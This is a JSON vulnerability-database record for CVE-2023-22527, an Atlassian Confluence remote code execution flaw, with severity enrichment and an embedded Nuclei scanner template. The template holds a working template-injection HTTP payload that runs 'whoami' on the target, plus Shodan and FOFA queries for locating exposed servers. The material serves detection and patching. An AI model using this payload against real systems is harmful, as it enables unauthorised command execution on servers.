{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2023-22527/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2023-22527/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2023-22527/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2023-22527/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2023-22527/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2023-22527"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2023-22527"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": true
    },
    "epss": {
      "epss": 0.99984,
      "kev": true,
      "percentile": 0.99982
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2023/CVE-2023-22527.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2023-22527\n\ninfo:\n  name: Atlassian Confluence - Remote Code Execution\n  author: iamnooob,rootxharsh,pdresearch\n  severity: critical\n  description: |\n    A template injection vulnerability on older versions of Confluence Data Center and Server allows an unauthenticated attacker to achieve RCE on an affected instance. Customers using an affected version must take immediate action.\n    Most recent supported versions of Confluence Data Center and Server are not affected by this vulnerability as it was ultimately mitigated during regular version updates. However, Atlassian recommends that customers take care to install the latest version to protect their instances from non-critical vulnerabilities outlined in Atlassian’s January Security Bulletin.\n  impact: |\n    Unauthenticated attackers can exploit template injection in the text-inline.vm endpoint to execute arbitrary system commands on Confluence servers and completely compromise Atlassian Confluence installations.\n  remediation: |\n    Update Atlassian Confluence Data Center and Server to August 2023 IR, May 2023 Patch 4, February 2023 Patch 8, November 2022 Patch 11, or August 2022 Patch 13 that mitigates the template injection vulnerability.\n  reference:\n    - https://confluence.atlassian.com/pages/viewpage.action?pageId=1333335615\n    - https://jira.atlassian.com/browse/CONFSERVER-93833\n    - https://blog.projectdiscovery.io/atlassian-confluence-ssti-remote-code-execution/\n    - http://packetstormsecurity.com/files/176789/Atlassian-Confluence-SSTI-Injection.html\n    - https://github.com/ramirezs4/Tips-and-tools-forensics---RS4\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2023-22527\n    cwe-id: CWE-74\n    epss-score: 0.99984\n    epss-percentile: 0.99982\n    cpe: cpe:2.3:a:atlassian:confluence_data_center:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    vendor: atlassian\n    product: confluence_data_center\n    shodan-query:\n      - http.component:\"Atlassian Confluence\"\n      - http.component:\"atlassian confluence\"\n    fofa-query: app=\"atlassian-confluence\"\n  tags: packetstorm,cve,cve2023,confluence,rce,ssti,kev,atlassian,vkev,vuln\n\nhttp:\n  - raw:\n      - |+\n        POST /template/aui/text-inline.vm HTTP/1.1\n        Host: {{Hostname}}\n        Accept-Encoding: gzip, deflate, br\n        Content-Type: application/x-www-form-urlencoded\n\n        label=aaa\\u0027%2b#request.get(\\u0027.KEY_velocity.struts2.context\\u0027).internalGet(\\u0027ognl\\u0027).findValue(#parameters.poc[0],{})%2b\\u0027&poc=@org.apache.struts2.ServletActionContext@getResponse().setHeader(\\u0027x_vuln_check\\u0027,(new+freemarker.template.utility.Execute()).exec({\"whoami\"}))\n\n    matchers:\n      - type: dsl\n        dsl:\n          - x_vuln_check != \"\" # check for custom header key exists\n          - contains(to_lower(body), 'empty{name=')\n        condition: and\n\n    extractors:\n      - type: dsl\n        dsl:\n          - x_vuln_check # prints the output of whoami\n# digest: 490a0046304402204733ce053ccd2de91c77d608d84147c00bcee32adaec329baf9a671c8b4176cf0220185c899ca5ecd70e0c46d12c450dd28048a04bfa229c471f33dfb85ec8f17264:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2023-22527"
}